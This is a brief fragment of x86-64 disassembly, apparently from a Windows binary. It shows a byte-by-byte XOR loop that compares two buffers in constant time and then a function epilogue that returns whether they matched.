shr eax, 0x10
and edx, 0xff00
or edx, eax
movzx eax, cl
shr edx, 8
or edx, eax
test rdi, rdi
je 0x14004ac8d
sub rsi, rbx
movzx ecx, byte [rsi + rbx]
movzx eax, byte [rbx]
inc rbx
xor ecx, eax
or edx, ecx
sub rdi, 1
jne 0x14004ac79
mov rbx, qword [rsp + 0x40]
test edx, edx
mov rbp, qword [rsp + 0x48]
sete al
add rsp, 0x20
pop r14
pop rdi
pop rsi
ret